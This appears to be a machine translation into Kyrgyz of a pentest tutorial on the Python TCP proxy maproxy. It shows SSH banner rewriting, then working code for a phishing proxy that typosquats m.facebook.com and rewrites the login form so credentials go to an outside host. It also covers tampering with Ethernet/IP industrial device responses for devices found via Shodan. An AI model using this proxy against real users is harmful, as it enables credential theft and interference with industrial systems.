Тармак маалыматтарын ылдам иштетиңиз

Макаланын котормосу курстун башталышынын алдында даярдалган «Пентест. Кирүү сыноо практикасы".

Тармак маалыматтарын ылдам иштетиңиз

жалпылаган

Коопсуздукту баалоонун ар кандай түрлөрү, үзгүлтүксүз кирүүгө тестирлөөдөн жана Red Team операцияларынан баштап IoT/ICS түзмөктөрүн жана SCADAны бузууга чейин, бинардык тармак протоколдору менен иштөөнү камтыйт, башкача айтканда, кардар менен максаттуу ортосундагы тармактык маалыматтарды кармап туруу жана өзгөртүү. Тармак трафигин жыттоо кыйын иш эмес, анткени бизде Wireshark, Tcpdump же Scapy сыяктуу куралдар бар, бирок модификация көбүрөөк эмгекти көп талап кылат окшойт, анткени тармактык маалыматтарды окуу, аны чыпкалоо, өзгөртүү үчүн кандайдыр бир интерфейске ээ болушубуз керек болот. аны учуп, аны дээрлик реалдуу убакытта максаттуу хостко жөнөтүңүз. Кошумчалай кетсек, эгерде мындай курал бир нече параллелдүү туташуулар менен автоматтык түрдө иштей алса жана скрипттерди колдонуу менен ыңгайлаштырылса идеалдуу болмок.

Бир күнү мен бир куралды таптым maproxy, документация мага муну тез эле тушундурду maproxy - мага эмне керек. Бул абдан жөнөкөй, ар тараптуу жана оңой конфигурациялануучу TCP проксиси. Мен бул куралды бир нече татаал тиркемелерде, анын ичинде ICS түзмөктөрүндө (көп пакеттерди жаратуучу) сынап көрдүм, ал көптөгөн параллелдүү туташууларды иштете аларын жана курал жакшы иштеген.

Бул макала сизди тармактык маалыматтарды ылдам иштетүү менен тааныштырат maproxy.

жалпы көрүнүш

курал maproxy Торнадо негизделген, Pythonдогу популярдуу жана жетилген асинхрондук тармактык алкак.

Жалпысынан алганда, ал бир нече режимде иштей алат:

  • TCP:TCP – шифрленбеген TCP байланыштары;
  • TCP:SSL и SSL:TCP – бир тараптуу шифрлөө менен;
  • SSL:SSL - эки тараптуу шифрлөө.

Бул китепкана катары келет. Тез баштоо үчүн, сиз негизги чагылдырган мисал файлдарын колдоно аласыз китепкана функциялары:

  • all.py
  • certificate.pem
  • logging_proxy.py
  • privatekey.pem
  • ssl2ssl.py
  • ssl2tcp.py
  • tcp2ssl.py
  • tcp2tcp.py

1-жагдай – жөнөкөй эки багыттуу прокси

Негизинде tcp2tcp.py:

#!/usr/bin/env python

import tornado.ioloop
import maproxy.proxyserver

server = maproxy.proxyserver.ProxyServer("localhost",22)
server.listen(2222)
tornado.ioloop.IOLoop.instance().start()

демейки боюнча ProxyServer() эки аргумент алат - туташуу орду жана максаттуу порт. server.listen() бир аргументти алат - кирүүчү байланышты угуу үчүн порт.

Сценарийди аткаруу:

# python tcp2tcp.py

Сыноону жүргүзүү үчүн, биз прокси скриптибиз аркылуу жергиликтүү SSH серверине туташып жатабыз. 2222/tcp порт жана стандарттуу портко туташат 22/tcp SSH серверлери:

Тармак маалыматтарын ылдам иштетиңиз

Саламдашуу баннери биздин үлгү скрипт тармак трафигин ийгиликтүү проксиден өткөргөнүн билдирет.

2-жагдай – маалыматтарды өзгөртүү

Дагы бир демо скрипт logging_proxy.py тармак маалыматтары менен өз ара аракеттенүү үчүн идеалдуу. Файлдагы комментарийлер максатыңызга жетүү үчүн өзгөртө турган класстын ыкмаларын сүрөттөйт:

Тармак маалыматтарын ылдам иштетиңиз

Эң кызыгы бул жерде:

  • on_c2p_done_read – кардардан серверге чейинки жолдо маалыматтарды кармап туруу;
  • on_p2s_done_read - тескери.

Келгиле, сервер кардарга кайтарып берген SSH баннерин өзгөртүүгө аракет кылалы:

[…]
def on_p2s_done_read(self,data):
data = data.replace("OpenSSH", "DumnySSH")
super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("localhost",22)
server.listen(2222)
[…]

Скриптти аткарыңыз:

Тармак маалыматтарын ылдам иштетиңиз

Көрүнүп тургандай, кардар жаңылышты, анткени ал үчүн SSH серверинин аты өзгөртүлгөн «DumnySSH».

Тармак маалыматтарын ылдам иштетиңиз

3-жагдай – жөнөкөй фишинг веб-баракчасы

Бул куралды колдонуу үчүн чексиз жолдору бар. Бул жолу келгиле, Кызыл команданын операциялары жагынан практикалык нерсеге токтололу. Десант баракчасын туурап көрөлү m.facebook.com жана атайылап ката менен ыңгайлаштырылган доменди колдонуңуз, мисалы, m.facebok.com. Көрсөтүү максатында, домен биз тарабынан катталган деп коёлу.

Биз курмандыктарыбыздын проксиси жана Facebook серверине SSL агымы менен шифрленбеген тармак байланышын орнотобуз (31.13.81.36). Бул мисалдын иштеши үчүн, HTTP хостунун башын алмаштырышыбыз керек жана туура хост атын сайышыбыз керек, ошондой эле мазмунга оңой жетүү үчүн жооп кысуусун өчүрөбүз. Акыр-аягы, биз HTML формасын алмаштырабыз, ошондуктан логиндин дайындары Facebook серверлеринин ордуна бизге жөнөтүлөт:

[…]
def on_c2p_done_read(self,data):
 # replace Host header
data = data.replace("Host: m.facebok.com", "Host: m.facebook.com")
# disable compression
data = data.replace("gzip", "identity;q=0")
data = data.replace("deflate", "")
super(LoggingSession,self).on_c2p_done_read(data)
[…]
 def on_p2s_done_read(self,data):
 # partial replacement of response
     data = data.replace("action="/ky/login/", "action="https://redteam.pl/")
super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("31.13.81.36",443, session_factory=LoggingSessionFactory(), server_ssl_options=True)
server.listen(80)
[…]

Жыйынтыгында:

Тармак маалыматтарын ылдам иштетиңиз

Көрүнүп тургандай, биз баштапкы сайтты ийгиликтүү алмаштыра алдык.

4-жагдай – Ethernet/IP порттору

Мен бир топ убакыттан бери өнөр жай шаймандары жана программалык камсыздоо (ICS/SCADA) менен алектенип келем, мисалы, программалануучу контроллерлор (PLC), киргизүү/чыгаруу модулдары, дисктер, релелер, шаты программалоо чөйрөлөрү жана башка көптөгөн нерселер. Бул иш өнөр жай нерселерди жакшы көргөндөр үчүн. Мындай чечимдерди хакерлик кылуу тармак протоколдору менен активдүү ойноону камтыйт. Төмөнкү мисалда ICS/SCADA тармак трафигин кантип өзгөртүүгө болорун көрсөткүм келет.

Бул үчүн сизге төмөнкүлөр керек болот:

  • Тармактык снайфер, мисалы, Wireshark;
  • Ethernet/IP же жөн гана SIP түзмөгү, сиз аны Shodan кызматы аркылуу таба аласыз;
  • Биздин сценарийдин негизинде түзүлгөн maproxy.

Биринчиден, CIP (Жалпы өнөр жай протоколу) типтүү идентификациялык жообу кандай экенин карап көрөлү:

Тармак маалыматтарын ылдам иштетиңиз

Түзмөктүн идентификациясы CIP сыяктуу башкаруу протоколдорун камтыган өнөр жай Ethernet протоколунун өркүндөтүлгөн версиясы болгон Ethernet/IP протоколунун жардамы менен ишке ашат. Биз скриншотто көрүнгөн өзгөчөлөнгөн ID атын өзгөртөбүз "Ethernet үчүн NI-IndComm" прокси скриптибизди колдонуу. Скриптти кайра колдонсок болот logging_proxy.py жана ушундай эле класстын ыкмасын өзгөртүү on_p2s_done_read, анткени биз кардарда башка идентификациялык аталыштын көрүнүүсүн каалайбыз.

коду:

[…]
 def on_p2s_done_read(self,data):
 # partial replacement of response

 # Checking if we got List Identity message response
     if data[26:28] == b'x0cx00':
         print('Got response, replacing')
         data = data[:63] + 'DUMMY31337'.encode('utf-8') + data[63+10:]
     super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("1.3.3.7",44818,session_factory=LoggingSessionFactory())
server.listen(44818)
[…]

Негизи, биз эки жолу түзмөктүн идентификациясын сурадык, экинчи жооп оригиналдуу болду, ал эми биринчиси тез эле өзгөртүлдү.

акыркы

Менин көз карашымда maproxy Ыңгайлуу жана жөнөкөй курал, ал дагы Python тилинде жазылган, андыктан сиз да аны колдонуудан пайда көрө аласыз деп ойлойм. Албетте, тармактык маалыматтарды иштеп чыгуу жана өзгөртүү үчүн татаал инструменттер бар, бирок алар дагы көбүрөөк көңүл бурууну талап кылат жана адатта белгилүү бир колдонуу учуру үчүн түзүлөт, мис. Мураена, Модлишка же evilginx үчүнчүгө окшош учурлар үчүн, же canape акыркы учурда. Тигил же бул жардам менен maproxy мисалы скрипттер абдан түшүнүктүү болгондуктан, сиз тармактык маалыматтарды кармап калуу боюнча идеяларыңызды тез арада ишке ашыра аласыз.

Windows ADде аутентификация механизмдерин текшерүү

Source: www.habr.com

Комментарий кошуу